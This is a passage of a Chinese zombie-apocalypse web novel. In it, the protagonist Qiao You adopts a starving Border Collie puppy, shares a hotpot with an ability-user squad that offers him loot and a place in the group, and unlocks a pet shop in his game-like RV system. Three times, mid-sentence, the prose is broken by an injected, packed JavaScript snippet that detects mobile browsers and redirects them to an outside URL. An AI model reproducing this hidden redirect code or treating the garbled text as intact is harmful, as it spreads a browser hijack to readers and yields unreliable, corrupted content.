《开着房车环游末日世界》 7. 小边牧犬 丧尸都有从众行为。 人类基地外面总是围着一圈又一圈丧尸，最外层的丧尸嗅不到人的气味，虽然不知道发生了什么，但前面的丧尸都围着，当然要一起了。 丧尸潮总是由一小股丧尸发起，路上的丧尸被裹挟着加入，一路上滚雪球一样越滚越大。 因为这样的性质，遇到丧尸潮很让人绝望，但要引走丧尸，也会一引一大片，效率奇高。 先前变异鸡的巨大动静虽然吸引了学校里的很多丧尸，但还有很多被困在教学楼、行政楼、食堂高楼层的丧尸没反应过来应该怎么下来，战斗就已经结束了。 这次有沈吟夏和沈吟秋的引导，丧尸们很顺利地去往操场“集合”。 图书馆里，乔佑用三菱刀解决掉一楼楼梯口零星几个丧尸，去往二楼。 杂物间在二楼走廊角落，阅读区没有用墙做隔断，是一个宽阔开放的大厅，乔佑随便一扫，就看见了一个个排列整齐的书架，脚步不由慢了慢。 刚才已经耽误很多时间，乔佑没有去翻书，先去找维希。 杂物间从外面看是一个和墙同色的原木小门，很不起眼，里面的面积也很窄小。 乔佑拧开门，第一眼并没有看见小狗，但敏锐地察觉到有活物居住的气息。 他将门关上，透明的玻璃窗让室内的光线很明亮。 移开堆起来的扫帚，便看见一个小小的纸箱子，一只幼犬缩在里面。 和上一个存档里的维希一模一样。 但是小边牧犬很警惕，看起来也很可怜。 比正常满月的边牧瘦很多，身上没有多少肉，毛发一绺绺纠结在一起，一双眼睛也没有什么神采。 好在身上没有别的伤口，虽然虚弱，还是站起来伏低身体，小尖牙冒出来，冲他发出威胁的声音。 外面那只变异鸡既是威胁，也挡住了大部分危险，连虫子都不愿意在附近冒头，变异鸡的巨大体型让它难以进来。 所以小边牧的处境还算安全，只是饥饿是个大问题。 迟早有一天，它会不得不外出觅食，一只幼年犬在遵循丛林法则的自然界就是彻头彻尾的弱者，也许一根不起眼的藤蔓都能将它绞杀。 边牧趋利避害的本能让它下意识将这一天无限延迟，如果没有乔佑，它真的会悄无声息地死去。 乔佑从空间里取出一个肉罐头，撕开摆在小边牧面前，它低头看了一眼，鼻尖耸.动了两下，看起来很想吃，但并没有，对乔佑的态度好像软化了一点。 乔佑知道边牧犬聪明，就从肉罐头里取出来一小块自己吃了，向它示意没有毒，也没有加别的什么。 小边牧咽了咽口水，尝试着吃了一点，然后越吃越快。 乔佑伸手摸了摸它的脑袋，吃得狼吞虎咽的小边牧没有理他，乔佑就小声地叫“维希”这个名字，暗戳戳希望维希早点习惯。 上一个存档里维希也待在这里等他，可能是经过游戏美化，看起来没有这么狼狈，系统开路，小乔佑很顺利地把小边牧犬抱回家了。 吃到最后，小边牧将罐头也舔干净，看乔佑的眼神已经有点亲昵。 乔佑就着空罐头壳又倒了一杯水，维希迫不及待地喝干净了。 看维希还没饱，乔佑又开了一个罐头，维希吭哧吭哧吃完后期待地盯着他。 看看维希的体型，再摸摸它的小肚子，觉得不能再吃了，跟它商量：“维希，吃多了不消化，下一顿再吃，好不好？” 没接触过人类的维希还不能理解他的话，只是讨好地舔了舔他的手，状态比刚才好多了。 乔佑试图抱起维希，它没抗拒，于是真的抱实了。 柔软的温热抱进怀里，但是摸着皮包骨头，很瘦弱，却好像填补了一些空缺。 乔佑取出一把梳子一边梳理维希的毛发，一边抱着它逛图书馆。 这个梳子是在一个日用品超市找到的，那是幸存者很容易放弃的地方，并没有遭遇过搜刮，乔佑找到了很多洗浴用品。 自古黑白出萌物，他家的维希是其中翘楚，前提是打理干净之后。 图书馆里空无一人，偶尔能看见一些骸骨，有些书架倒塌了，翻开的书页上落满灰尘。 上一个存档里，这些书都是摆设，虚拟世界还没能模拟到这么细致的东西，但是现在这些都是可以看的。 乔佑抱着考古的心态一排排浏览过去。 有高中的教科书、文学书籍、社会科学、自然科学、通俗小说、古今名著……有的乔佑看过，比如经久不衰的瑰宝四大名著，但大部分书籍都流落在历史的尘埃里，再也找不到了。 就算在这个末世世界里，等人类稳定下来后，这些书也是需要抢救的人类文明的传承。 于是乔佑边看边收，翻开一本草草看一下就收进空间，遇到有意思的就多看一会儿。 给维希梳毛的动作早就停了，应该说，梳子不知道掉在哪去了，维希也不介意，观察了一会儿这个人的行为模式，很快就在困倦之下睡着了。 乔佑没注意到，因为卡等级而很久没扩张的空间正随着书籍的增多而蠢蠢欲动，猛地突破极限，大小直接翻了一倍。 操场上，小队几人休整一番，吃了点东西，正在打扫战场。 李鹤怀举着望远镜望向图书馆的方向，表情好像有点怀疑。 闵停问道：“他在干嘛？” “在……看书。”李鹤怀转头，跟他队长对视。 如果是在末世前，这是个很正常的回答。 在图书馆里能干嘛，当然是看书啊！ 末世后还能这么干的人，不是蠢人，就是狠人。 闵停摊开手，李鹤怀把望远镜放他手上。 望远镜的镜头穿过窗户，影影绰绰看到一个人影，怀里趴着一只幼犬，垂着眸翻书，悠闲清净得不像身处末世。 和他们这边血肉横飞、遍地碎肉的样子形成了鲜明的对比。 镜头里的乔佑似有所觉地抬头，距离太远，他并没有看清什么。 倒是注意到天色有点晚了，乔佑不愿意在外面过夜，收书的速度快了一些，图书馆一共五楼，一楼没有书，不知道三四五楼有没有。 上上下下逛了一圈，最遗憾的，可能是没找到介绍怎么下厨的书吧。 乔佑这些天每天都在总结上一次的失败经历，然后再次尝试，然后倒掉。 他觉得自己在厨艺上是有天赋的，可惜没有菜谱，没有教程，也没有人教他，自学总要走很多弯路。 等乔佑终于将书每样都存一本存完的时候，小队已经打扫完战场，接收完所有战利品，转移到图书馆一楼大厅，一口大锅摆在中间，几个人如火如荼地……炖鸡。 图书馆向上的楼梯恰好在大门旁边，只要守在这里，就能同时监看楼上和外面的动静。 就算一中的丧尸几乎被清光的情况下，他们仍然没有放松警惕。 乔佑下楼的时候，就见双生子中的姐姐守在暗中，抬头看他的那一瞬间眼神很锐利，但很快就笑起来，刚刚的神色仿佛是错觉，轻松笑道：“嗨，我叫沈吟夏，今晚我们在图书馆一楼睡一晚，不介意吧？” 乔佑摇了摇头，图书馆又不是他开的，他介意什么？ 沈吟夏歪了歪头，俏皮道：“在我介绍了我的名字后，你没有同样介绍自己，是一种不礼貌哦。” “……”乔佑有点窘迫：“我叫乔佑。” 沈吟夏声音轻柔，放低，像在说什么秘密，引着乔佑去听：“你知道吗，这些社交礼仪在末世里很多时候已经不顶用了，下次别这么容易被道德绑架。” 乔佑：“……” 沈吟夏笑出声。 “好了不逗你了，去吧，就等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632354|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 沈吟夏的语气太自然，等乔佑反应过来的时候，他已经站在了那五个人面前。 江湾手忙脚乱地给锅下面放蜂窝煤，一道煤灰沾在额头上，抬头招呼他时笑容很灿烂：“来来来，坐，今晚吃鸡汤火锅，我们闵老大亲自下厨，今天肯定让你大饱口福——看把孩子瘦的。” 乔佑顺势看向大锅旁边正在掌勺的男人，先前没有见过，应该就是那位隐在暗中的狙.击手了。 和他的想象差别很大。 这人比他高出一个头的样子，身形挺拔，侧脸轮廓很深，眉眼看着是个很冷峻坚毅的人，但或许是因着此时的动作，显得多了几分温和的烟火气，穿着一条蓝白条纹的围裙，袖子挽到肘部，露出精悍的小臂肌肉。 他专注地看着汤锅，拿着勺子的气势很是游刃有余，是乔佑一辈子望尘莫及的风范。 注意到乔佑的打量，抬头看了他一眼，颔首道：“闵停。” 乔佑脑子里克制不住地想起沈吟夏的话，挣扎了一会儿，妥协道：“……乔佑。” 好在闵停只是普通打个招呼，并没有唠嗑的想法，乔佑松了一口气。 李鹤怀正在打料碗，询问道：“能吃辣吗？” 又看了看乔佑怀里的狗，扭头道：“湾湾，再给拿个空碗……两个，小狗不能吃太咸的，我在一个碗里加水用来洗菜。” 乔佑抱着狗脚趾扣地，有点无所适从的感觉。 坐外面的沈吟秋向里面移了一个位置，抬头看他。 虽然她没有什么表情，但乔佑总觉得，如果不坐下的话，心里有种奇特的负罪感。 乔佑坐下来，客气道：“谢谢，能吃辣。” ……应该？ 反正他在上一个存档是可以吃辣的。 一直眼巴巴盯着锅里的维希见乔佑坐下了，猛地兴奋地从他怀里坐起来，小尾巴摇得可欢。 旁边的沈吟秋目光不由自主地投注到小边牧身上，半晌才迟疑问道：“我能摸摸吗？” 乔佑没想到看起来冷冰冰的清冷女神也挡不住小动物的诱惑，握着维希的腋下将它提起来，看了看它的反应，对沈吟秋道：“你试一下，我不知道维希怕不怕生人。” 沈吟秋摸了摸维希的脑袋，维希睁着圆滚滚的褐色眼睛，一人一狗互相观察，沈吟秋的神色冷静中带着惊奇，然后克制地收回手，评价道：“很瘦。” 乔佑解释道：“我找到它的时候它已经很久没吃过东西了，躲在图书馆的杂物间里，母亲不在，不敢跑出去找东西吃。” 江湾插话道：“这是边牧吧？以前只刷过视频，没想到末世后能见到真的。” 乔佑没刷过视频，也没经历过这个世界的末世前，不知道怎么接，就只是点了点头。 沈吟秋道：“确实很可爱，难怪你特意进图书馆找它。” 乔佑刚要继续点头，猛地反应过来，要是肯定了他来图书馆的目的，他怎么解释他知道图书馆里有只边牧？ 乔佑默默离沈吟秋远了一点点，谨慎道：“不是的，无聊找点书看，发现维希是意外。” 初步小试探没得出什么结果，沈吟秋也无意深挖什么秘密，悄悄踢了踢蹲地上摆蜂窝的江湾。 “欸，老大，这个火候可以了不？”江湾直起腰抹了把汗，满额头都是煤灰，也没等闵停答复，掏出一块小肉干，娴熟地开始逗狗：“小宝贝，吃肉干吗？给蜀黍摸摸好不好？” 乔佑觉得这伙人都不像坏人，很和善，于是手一松，维希就跳下去了。 维希一口咬住江湾手里的肉干，还舔了舔他的手。 江湾喂队长养的小云时从没有得到过这么热情的反馈，顿时有点受宠若惊，抱着维希一阵rua，可惜很快就被李鹤怀抢过去了。 小边牧犬像团宠一样，在几人手里经手一圈，气氛很快热闹起来。 8. 有缘再见 维希靠在闵停脚边嗅了嗅味道，在两条腿之间钻来钻去，想引起他的注意。 闵停舀出一块鸡肉看了看成色，将勺子递给罗康：“可以吃了。” 然后弯腰抱起维希，用脚从旁边勾了个空沙发过来坐，小奶狗喉咙里发出呼呼的声音，扒着闵停肩膀舔了他一脸口水。 乔佑：“……” 他一时不知道该对闵停表示抱歉，还是该对维希吃里扒外的行为感到嫉妒。 就在乔佑心里已经升出危机感，担忧自己家的小边牧要跟着别人跑时，闵停将维希还给他，习以为常地说：“我的异能是驯兽，对动物比较有亲和力。” 乔佑捏了捏维希的小脚丫，想了想，询问道：“你们特意找我，是有什么事吗？” 闵停摇了摇头：“你是不是忘了晶核晶片还有那只变异鸡，战利品也有你的份？” 乔佑一怔：“啊？” “先吃。” 变异鸡的肉很嫩，刚出锅的鸡肉热气腾腾，在鲜红的料碗里一滚，看起来很有食欲。 乔佑尝了一口，眼睛一亮，一边咳一边夸道：“很好吃，比我自己做的好吃多了。” 闵停看着他鲜红的嘴唇，叹了一口气，“你是不是不会吃辣？” “嗯？”乔佑有点疑惑。 那边几个已经吃嗨了在聊天了，都看出来乔佑不爱说话，也没有特意拉他一起，平时是怎么样现在也怎么样，顶多就注意一下不要聊到敏感话题。 江湾吃得快，抹了抹嘴，“我去换吟夏，叫她来吃，菜都拿出来了，待会儿鸡肉吃完了就下菜。” 闵停给乔佑重新调了一个清淡些的料碗，还好为了保存变异鸡的鲜味，鸡汤里没加辣椒，不然就凭他们几个无辣不欢的口味，这一锅都没法吃。 乔佑依闵停说的喝了一口咸香的鸡汤，葱花点缀，浓淡正好，一口下去百般滋味在舌尖绽开，整个人都舒缓下来，竟然有点感动。 可能是这几天被自己做的饭摧残惯了，他已经忘了正常的食物是不会让人恶心呕吐、头晕目眩、精神萎靡的，于是辣味带来的刺痛感被他完全忽略掉了。 闵停看他的表情还有点懵，便问道：“你和别人一起住的？” 乔佑不像能把自己养活的样子。 然而乔佑毫无防备地答：“没有，就我一个。” 看了看正狼吞虎咽的小维希，补充道：“以后再加一只狗。” 闵停重复了一遍小边牧的名字：“Wish？” 小边牧机灵地抬头瞅他一眼，接着埋头吃饭，乔佑有点不好意思：“是这个，很明显吗？” wish，一个很简单的单词。 那是六岁的乔佑非常缺乏的东西，一个基因崩解症患者，是没有未来，也没有希望的。 肉.体衰朽，他的世界在天网和虚拟游戏里，人生像一个虚假的骗局，而他是缸中之脑。 看出乔佑的情绪有点低落，闵停没再继续这个话题。 在外面危机四伏的傍晚，能这么平安地吃一顿火锅是一件相当幸福、也很不容易的事情。 乔佑吃的少，小队几人习惯了速战速决，吃得很快，因此没过多久大家就开始收拾残局，乔佑很自觉地跟着一起，见差不多了就提出想走：“谢谢各位招待，天已经黑了，我得走了。” 闵停有点好笑，稍微拦了一下，“你是不是对我们一点都没有好奇。” 虽然是疑问句，但语气非常笃定。 乔佑没有完全将他们当成人类npc，但是……想到这很可能是真实的人类，他就更想跑了。 不好奇，毕竟应该只有一面之缘。 江湾手中出现一个玻璃罐子，满满当当的晶莹黑色晶片在火光照耀下显出流光溢彩的美丽。 罗康道：“这里的包括你进图书馆前杀的，和我们后来杀的丧尸的一部分，没具体数多少，变异丧尸的晶核有30颗，也在里面。在我们来之前你解决了最麻烦的变异鸡，后面又杀了很多丧尸，这是你应该拿的。” 谁看到这么漂亮的罐子都会走不动路吧？晶片晶核可不是装饰品，它们的实际用途谁都知道有多珍贵。 但乔佑有点疑惑，不是说人类势力中把人分出了三六九等，秩序崩坏、道德沦丧吗？怎么会有异能者小队将利益分润给外人？ 罗康像是看出他心里在想什么，只说：“我们和某些人渣可不一样，遇到我们算你幸运。” 江湾在空间里翻了翻，走到空旷一点的地方，放出两根已经拔过毛的鸡翅，那鸡翅比他整个人还高，显而易见出自哪里。 维希确认没有危险后，惊奇地绕着鸡翅嗅了一圈，小声汪汪叫。 江湾道：“变异鸡死的时候没感染丧尸病毒，还能吃，这么大只鸡不收了可惜了。” 又悄悄说：“本来说只分你一根鸡翅也够了的，但我们闵队说你就一个人住，还要养一只小边牧，两根都给你吧，我一想，鸡翅确实没什么肉，就两根都给你了，放心，鸡翅很好吃的。” 这个就…… 乔佑摇了摇头：“算了，我拿不回……” 话音一顿，看了看自己的空间，好像装得下？ 江湾道：“看你就那么拿出一条老长的绳子，应该也有空间吧？” 乔佑点点头。 江湾拍拍手，一个快有人高的巨大鸡蛋出现在他们面前。 乔佑惊：？ “食堂找到的。”江湾摆摆手，一揽乔佑肩膀，挤挤眼睛：“兄弟，分赃快乐不？” 乔佑并没有失去理智：“为什么给我这么多？这些都是你们收拾的，我并没有杀多少丧尸，相反，如果没有你们，我不一定能全身而退。” 他看了一眼闵停，知道在他和变异鸡纠缠的时候，闵停帮了他多少。 “是这样的，我们希望你能加入我们。”沈吟夏走过来诚恳地说：“我们很需要你的能力，能够在丧尸之间‘隐形’，这对我们很有帮助。” 这是他们经过讨论后的结果，他们接下来的任务危险程度是未知的，但干系重大，必须做好所有准备。 乔佑恍然大悟。 冷静地思考：人类npc的套路，要么欺负玩家，要么勾搭玩家。 他明明还没出新手村。 乔佑还没做好和陌生人接触的准备，并不打算加入什么势力，但他们的态度很认真，他想了想，也正色说道：“我并不想骗你们，我的异能只能遮住我自己的气息，还不能覆盖同伴，自保都勉强，你们没有必要再带个拖油瓶。” “还？”闵停敏锐地抓住了他话语中的漏洞，也就是说以后可以做到。 可惜他们的任务等不了太久，见他坚持，便点了点头：“就算不加入我们，进入基地，有基地的庇护，也比你独自野外求生安全一些，你是异能者，在基地会生活得很好。” “我会考虑。” 但会是很久之后，等他的房车修好，等他的实力A级以上。 上一个存档里乔佑不愿意和人类打交道，是因为不想对一段虚假的程序付出感情，模拟得再真实的npc也会露出破绽，别的玩家抱着游戏的心态并不在意。 可是乔佑不能。 和这个小队的接触让乔佑从蜗牛壳里伸出了一点触角，发现与人交流并不是为了接取任务/刷好感度/走剧情，而是一件很复杂也很奇妙的事情。 这确实是他的幸运。 闵停：“接下来几天我们会在一中校区扎营，你要是改变想法，可以来找我们，”顿了顿，“但最好不要。” 他没有多说。 乔佑不明所以，猜到他们要做的事可能很危险，点点头，目光转向玻璃罐子和地上的巨大的鸡翅，“那这些东西我还能带走吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632355|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你当这是贿赂你的？”闵停很无奈，也很温和：“这是你应得的。” 小队不介意乔佑在图书馆里歇一晚，但这个小朋友显然已经归心似箭了。 好在从学校大门到房车的路上都被清理过一遍，就算天色已入夜，乔佑也能安全回去。 雾气不能蒙蔽变异动植物的感知，降低一点存在感也很不错了。 “那么，有缘再见。”乔佑抱起小边牧，最后看了他们一眼，然后转身。 轻巧地隐入夜色里。 . “小云。”闵停唤道。 待在二楼窗台歇息的白隼鸣叫了一声，扑腾翅膀飞下来。 “你护送一下他，”闵停道：“别被他发现了。” 闵停亲自绕着图书馆仔细排查一圈，确认没有危险后，才回到一楼大厅，几人围坐开会。 遇到乔佑是意外，决定对整个学校的丧尸进行暴力清剿也是临时起意，不管过程有多少波折，前期任务是完成了。 预计要清除目标地点周围的威胁，范围并不覆盖整个樟城一中，能将所有丧尸全部清剿，已经是超额完成。 桌上摆着樟城一中的后山地图，以及从一中研究楼地下室去往后山的密道地图。 他们要带回去的仪器和资料位于后山地下五百米的秘密研究所，并没有从后山直接向下的电梯，末世来临后其中的研究员见势不妙，将一条出去的路彻底堵死了，现在唯一的入口是从学校研究楼的暗道进入。 那条暗道的防护能力是防空洞级别的，天上下导弹都会安然无恙，同时每走过一段就有一道身份验证，为了防止电子系统被破解，还有几道物理锁。 所有解锁方式都在任务下发的同时交给他们了。 说是樟城一中的后山，其实是一座山脉，树木葱茏，溪流潺潺，风景优美，平时并不允许学生进入。 闵停也不明白为什么要把一个保密等级这么高的研究所放在学校旁边，但既然任务接了，就只允许成功，不允许失败，思考这些没意义。 “研究所内的情况我们一概不清楚，最坏的情况，所有丧尸都是变异丧尸，甚至存在高等变异丧尸。”闵停缓缓道。 队员们一静。 “小云去看过后山的情况，野外的变异动植物比城区内的强很多，其中不乏小云也要避开的。” 白隼在末世前就是猛禽，变异之后更是当之无愧的空中霸主，后山的变异动植物不一定比它强，但所谓变异，就是千奇百怪的，难保不会就有哪个奇特的变异方向让小云也翻车，所以观察为主，绝不恋战。 闵停继续说：“我们从密道进入，不会和后山的变异动植物正面对上，但是——这不代表研究所内就一定没有变异动植物，我很愿意相信研究所的建筑足够坚固，我相信是没有用的，我们得考虑到所有情况……” “仍然是沈吟秋先探情况，”闵停两指轻轻敲击，这是他思考的惯用动作：“这次沈吟夏不用接应。” 沈吟夏一怔：“是。” “我会跟沈吟秋一起进去，”闵停顿了一下，“如果有昆虫类变异动物，没有我的驯兽异能会很麻烦。” 国境内有几个著名的昆虫类变异动物窝点，几乎成了死地，去多少人都只有团灭的份儿。 想到那些惨剧，就算是小队的几人也感到胆寒，理解闵队的做法。 “我和沈吟秋会尽可能带消息出来，时刻保持通讯连通，如果两个小时没有动静，指挥权由罗康接手。” 罗康颔首：“没问题。” “地下环境对白隼不利，小云负责守学校研究楼的密道出口。”小云不在，闵停没有停顿，继续道：“目标物位置在第七实验室，地图你们都记住了，我们尽可能根据研究所内部情况选择一条安全的路线。” 几人都表示明白。 “好，先说方案一。” 9. 宠物货架 夜间外出让维希很不安，趴在乔佑怀里，一点声音都不敢发出。 乔佑打着手电筒走出学校大门，寂静的夜里不知道潜伏着多少危险，好在夜间气温下降，水汽凝结，本就有夜雾，这样的气象很适合乔佑的雾系异能发挥。 他找到早上过来骑的单车，检查了一下轮子里还有气，将维希放在前面的车筐里，在浓雾中骑行。 如果路况好的话，借着稀薄的月光，不用手电乔佑也能回去，可惜末世初期幸存者们逃难的时候发生了很多车祸，因为丧尸爆发蔓延速度太快，很多人不得不弃车而逃，一年多过去，当时惨烈的场景已经被岁月风化磨平，可横七竖八的车辆还待在原地。 从小云的视角来看，就是一团快速移动的浓雾里照出来一束光，诡异极了。 乔佑并不知道有只变异动物在一路护送，毕竟他没见过异能者小队里还有变异白隼这一成员，他警惕地注意四周，抽空揉了揉维希的脑袋稍作安抚。 不应该深夜出行？他也想过要不要明早再走，但迅速给否了，现在也不后悔。 理解一下，社恐是这样的。 一路平安地回到广场，乔佑取出钥匙开门，小边牧好奇地跳进去，乔佑跟在它后面关上门，然后打开卡座上的台灯，莹莹的暖色光一下照亮了房车内的空间，才把手电关了。 “维希，这里就是我们的家。” 经过这么多天，乔佑已经收集了很多东西，比起第一次进入房车，现在已经大变了模样，多了很多生活气息，也很温馨。 暂时不用考虑房车行驶状态物品会掉下去，很多东西都摆在台面上，甚至还有一些好看的小摆件。 小边牧看乔佑放松的样子就知道这是到了安全的地方，在房车里好奇地巡视领地，嗷嗷地叫了两声，钻到了房车最里的小卧室，扒着床沿就想跳上去，被乔佑及时拎起来。 “等等！先洗了再上床。” 乔佑把维希抱进卫生间，没给维希洗澡，一是边牧还小，房车里没有吹风机，洗完澡会生病，二是也没有这样的条件。 十天前他将含氯消毒片丢进水箱里，本来以为能对净化水起到一点作用，结果水龙头一开还是一如既往的浑浊，□□味道微乎其微，不由思考消毒片是不是卡在水管子里了。 房车的水箱无法打开，也无法清洗，加水是从门外的进水口连接管道加进去，内部也有管道连接到水箱，进水口比较狭窄，内部管道也有弯曲，那么小的几片药片，随便哪里都能粘上，乔佑也没有办法。 水太浑浊，乔佑不敢用，平时洗漱做饭都很奢侈地用收集来的桶装水，平时能省一点是一点，偏偏每次做饭洗碗都把厨台搞的很灾难，为了稀缺的水资源着想，乔佑一天只做一次，大部分时间都在凑合吃零食。 乔佑倒了一点水出来加热，小方巾沾上水倒上少许沐浴露，给小维希简单地擦了一下。 四只软软的小爪子，腹背皮毛，尾巴，脑袋……杂乱的毛发被理得很顺滑，污渍也擦干净，但毛色还是有点黯淡，这是营养不良造成的，只能慢慢养。 乔佑跟上一个存档一样，一边熟练地给狗子洗澡，一边念念叨叨，大部分是哄维希洗澡夸它乖的，维希爱干净，但是洗澡不夸的话它就会委屈不理人，这个习惯一直延续了下来。 小维希全程很配合，让抬爪就抬爪，让坐下就坐下，洗完之后还抖了抖毛，甩出一串水点子，回头用鼻子嗅自己身上的沐浴露味道，看起来非常满意。 乔佑用一张毛茸茸的大毛巾将维希裹起来，塞进软乎乎的被子里，床头方向有一扇小窗，配窗帘和阳台，乔佑将阅读灯拧亮了一点，让小卧室不至于完全黑暗。 白隼停在外面路灯上，夜间视力和白天没区别，它疑惑地看着乔佑进入一辆废弃房车，关门，然后就再没动静，也没再出来，如果不是它亲眼看见乔佑进去，绝对想不到这个房车里竟然有生物。 又待了一会儿，白隼确认这个房车就是乔佑的避身之处，自己的护送任务结束，于是展开翅膀，顺着来路飞回去。 房车内，乔佑正把沾满丧尸血的衣服脱下来，打算明天再拿出去扔掉，洗漱完了换上拖鞋和自己的睡衣。 和大部分病毒一样，丧尸病毒在离开体外后很脆弱，存活周期大概只有一个小时左右，这个特性给了人类一丝喘息之机，至少不用担心待在安全的庇护所内还被衣服上的陈年旧血背刺，莫名其妙感染。 但全是黑血的衣服乔佑绝不会再穿第二遍，发现外出后的衣服都是一次性用品后，他特地又去找了很多衣服放空间里。 副驾驶室，游戏操作面板的幽幽光芒照在乔佑脸上，他依次点击。 任务——触发任务·被困的小狗——领取奖励。 座位后面的自动售卖机发出叮的一声，一个有成年人拳头那么大的蓝色橡胶镂空球滚了出来，购物面板也有更新，多出了宠物相关的商品货架。 乔佑先是捏了捏镂空球，还算满意。 狗狗玩具是养狗必需物品之一，可以消耗狗子的精力，否则狗子会拆家，啃家具，狗子的天性，吃饱了就要闹腾。 乔佑的现实世界里有全智能陪伴机器人，具有非常全面的功能，陪伴、喂食、监测健康状况、洗澡、按摩，还会教主人养狗注意事项。 但“房车日记”游戏背景的科技水平没有这么高，末世之前，人们往往需要付出大量时间和精力遛狗、与狗玩耍。 而为了贴合科技发展，游戏系统当然不会提供陪伴机器人，别的狗玩什么，维希也只能玩什么。 如果可以的话，乔佑也想给自家狗子最好的生活，遛狗玩游戏都安排上，但活动场地局限在房车里，什么都做不了。 点开宠物商品货架时，乔佑眼前一亮。 与另一个货架孤零零的三件商品相比（矿物质水已售罄），这边可谓是五花八门，分类齐全，让人一目了然。 玩具分类：各种颜色和大小的镂空球，不同形状的磨牙玩具，大黄圈，飞盘、发声玩具…… 食品分类：狗粮、羊奶、肉罐头、冻干肉、磨牙零食、蔬菜水果…… 药物分类：感冒的、腹泻的、驱虫的、皮肤病的、外伤消毒的…… 清洁护理分类：指甲钳、剃毛器、梳子、沐浴露、干洗泡沫、毛巾、按摩膏…… 预防分类：从小到大的疫苗套餐。 …… 乔佑将看不到头的商品往下滑，激动过后，柠檬水汩汩往外冒。 其实维希才是系统的亲儿子吧？对吧？而他是什么？天选之狗的饲养员？ 看到那些商品描述，乔佑确信，要是早点开放宠物货架，他的生活水平早就提升上去了。 宠物的食物其实比人类吃的更健康，乔佑饿了啃零食的时候看过配料表，全是添加剂，甚至看到过好几个他吃了会过敏的化学物质，这个货架上的狗粮先不说味道，至少看描述都是纯天然无添加。 狗的口味和人的不同他也能接受啊，再难吃也不会比他做的饭更难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632356|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了。 蔬菜水果冻干肉，都是末世后无比珍贵的物资，系统能提供新鲜的，为什么之前不卖，找到维希了才卖？ 乔佑刷狗狗商品刷的津津有味，突然注意到所有商品都有限额，冷静了下来。 限额数字不等，总结下来，都比前不久那个“限购1瓶”有温暖。 这个限购数量应该是没错的，矿物质水限购1瓶的时候，乔佑还想过是不是每日限购，后来发现货架上真的只有一瓶。 乔佑叹了口气，看来还是得省着点用。 直到乔佑想要购买个什么，看到价格后，态度已经转变为冷漠了。 众所周知，养宠物是很费钱的，一个东西但凡沾上“宠物”二字，它就不再是凡品，而是宰客的奢侈品。 不看货币单位的话，它们的价格其实很正常，但乔佑的视力很好，清楚地看见了数字后面的小小的“晶核”两字。 也就是说，付贡献点的话，以上所有亲民的价格都将x10000，变成乔佑完全不认识的样子。 乔佑失去了购买欲，冷漠地把自动售卖机塞回副驾驶室后面。 维希趴在被子上打哈欠，1.3m*2.1m的双人床，早就从乔佑放它的位置滚到另一个地方了。 看见乔佑进来，直起身体兴奋地汪汪两声，好像在说喜欢这个地方。 乔佑抱着它使劲揉了揉，维希正懵着，就被塞了一个蓝色的小球。 它用爪子把小球拨到自己脑袋下面，凑上去嗅了嗅，然后一口咬住。 然后就停不下来了。 下午还在图书馆的时候维希就在乔佑怀里睡了两个多小时，看它现在不困，乔佑将阅读灯调亮了一些，从空间里拿出一本书来看。 《汽车为什么会跑：汽车构造与原理图解》。 按照上一个存档的流程，乔佑等级上来之后，会先后发布“这座废墟中的樟城”、“夜间游荡的诡物”、“商场探秘”、“与大樟树结成友谊”、“SSS级异虫灾初见”等任务，除了第一个是探索型任务外，其他都是boss战。 异虫灾任务用三个S和红色字体鲜明地标注了这种变异动物的危险性，新人玩家只需要在周边走一圈，解决掉在外巡逻的一支异虫小队就算任务完成。 据某些积极做任务，主线刷完的玩家透露，等级到2S后，系统会发布任务“回到最初的地方”，玩家回到樟城，彻底解决掉异虫灾，大部分走到这步的玩家不躺个几十次连最终boss的面都见不着。 任务完成，一道“新的篇章即将开启，敬请期待”的特效刷新在眼前，也就是主线任务到这里了，后续等更新的意思。 乔佑回忆了一下上个存档的经历，这个比较特殊的boss任务他当然做过，任务地点是一处阴冷的地下河，入口则是一处山间小溪。 至于这一次，除非他疯了才会去碰这个任务，要是被异虫大部队注意到了，一个乔佑不够塞牙缝的，得搭上一只狗。 想远了，Boss不用全刷完，打完两个就会收到关于维修房车的任务。 系统会指点玩家哪里坏了，需要用到什么工具，用什么途径获得，拿到工具之后房车就一个部位一个部位地修好了。 回想自己打扫房车的经历，乔佑觉得没有真技术可能完不成这个任务。 维希找回来了，他们随时都可能离开去下一个地点，修房车已经不是什么系统给的任务，而是他的下一步计划。 他得提前做好准备。 10. 寂静之地 【宿主：乔佑 等级：D 异能：空间（16）；雾（14）】 【探索任务·寂静之地】 任务描述： 如果你走得足够远，路过一个寂静的小区，不妨进去看看。 任务奖励：雾系属性点1（定向改造：破障） 